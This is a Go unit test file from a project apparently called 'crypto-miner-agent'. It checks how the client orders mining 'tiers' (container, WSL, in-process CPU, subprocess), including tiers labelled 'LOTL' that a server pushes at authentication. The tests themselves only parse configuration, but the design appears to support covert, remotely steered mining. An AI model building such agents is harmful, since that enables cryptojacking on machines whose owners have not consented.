62 lines
1.9 KiB
Go
62 lines
1.9 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) {
|
|
c := NewAgentClient(config.RuntimeConfig{})
|
|
policy := c.miningTierPolicy()
|
|
defaults := miner.DefaultMiningTierPolicy()
|
|
if len(policy.TierOrder) != len(defaults.TierOrder) {
|
|
t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder))
|
|
}
|
|
if policy.TierOrder[0] != defaults.TierOrder[0] {
|
|
t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0])
|
|
}
|
|
}
|
|
|
|
func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) {
|
|
c := NewAgentClient(config.RuntimeConfig{})
|
|
c.applyAuthLotlPolicy(AuthResponse{
|
|
Success: true,
|
|
LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"},
|
|
})
|
|
policy := c.miningTierPolicy()
|
|
want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess}
|
|
if len(policy.TierOrder) != len(want) {
|
|
t.Fatalf("order=%v want %v", policy.TierOrder, want)
|
|
}
|
|
for i := range want {
|
|
if policy.TierOrder[i] != want[i] {
|
|
t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i])
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) {
|
|
c := NewAgentClient(config.RuntimeConfig{})
|
|
raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`)
|
|
c.applyMiningTierPolicyJSON(raw)
|
|
policy := c.miningTierPolicy()
|
|
if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess {
|
|
t.Fatalf("skip=%v", policy.SkipTiers)
|
|
}
|
|
if policy.ForceTier != miner.TierCPUInprocess {
|
|
t.Fatalf("force=%q", policy.ForceTier)
|
|
}
|
|
}
|
|
|
|
func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) {
|
|
c := NewAgentClient(config.RuntimeConfig{})
|
|
c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`))
|
|
policy := c.miningTierPolicy()
|
|
if len(policy.TierOrder) == 0 {
|
|
t.Fatal("invalid JSON should leave defaults intact")
|
|
}
|
|
}
|